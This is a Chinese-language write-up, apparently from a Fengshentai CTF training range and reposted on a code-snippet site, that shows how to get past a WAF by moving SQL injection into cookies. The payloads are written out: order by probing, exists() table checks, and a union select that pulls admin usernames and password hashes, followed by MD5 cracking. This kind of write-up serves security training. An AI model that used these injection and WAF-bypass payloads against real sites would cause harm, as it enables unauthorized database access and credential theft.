概述
文章目录
- 一、封神台二
- 1、尝试注入
- 2、构造字段
- 2.1、猜解数据库字段
- 2.2、寻找回显点
- 2.3、查询数据
问题描述
一、封神台二
1、尝试注入
1、构造?id=171 and 1=1
尝试注入
构造字段,发现只要存在select查询关键字就会被拦截
- 很多时候,提交数据并非仅仅只有getpost这两种方式,还可以用cookie提交,对方可能对getpost这两种方式进行拦截,现在判断是否可以通过cookie进行传参。
- 我们尝试,将测试语句放到cookie里面,再发送给服务器,因为网页防护一般只拦截Get、post传参。
2、尝试cookie注入
我们先把url中的?id=171删除发现页面错误,通过储存下的cookie添加名称和值刷新,发现页面正常显示,可以发现能通过cookie传输数据
因为通过存储中的cookie添加值过于繁琐,所以我们通过插件变简单
这里我们用FireFox举例
扩展和主题/搜索/ModHeader/添加即可
通过ModHeader添加cookie传输数据
通过勾选和取消页面对比,发现插件可以正常使用
2、构造字段
2.1、猜解数据库字段
构造id=171+order+by+10
构造id=171+order+by+11
我们不断的为字段进行排序,发现当排序到11处,页面出现错误,返回数据库错误,证明此页面存在sql注入,也测试该表有10个字段
2.2、寻找回显点
1、构造id=171+and+exists(select*from+admin)
构造id=171+and+exists(select+password+from+admin)
构造id=171+and+exists(select+username+from+admin)
发现页面正常显示,说明数据库存在admin表,admin表中存在username,password字段
2、构造id=171+union+select+1,2,3,4,5,6,7,8,9,10+from+admin
发现回显点2,3,7,8,9
由于access数据库的特性,我们构造联合查询的时候前面查询的数据总是放在后面,不会影响我们后面联合查询需要的结果,所以不需要构造and 1=2来使前面的语句查询不出来
2.3、查询数据
1、构造id=171+union+select+1,username,password,4,5,6,7,8,9,10+from+admin
发现用户名密码回显,由于密码b9a2a2b5dffb918c是加密过的,所以我们需要解密,字母+数字的16位组合,很像md5的特征
通过cmd5.com解密
成功获得密码
最后
以上就是友好外套为你收集整理的sql注入绕过waf的全部内容,希望文章能够帮你解决sql注入绕过waf所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复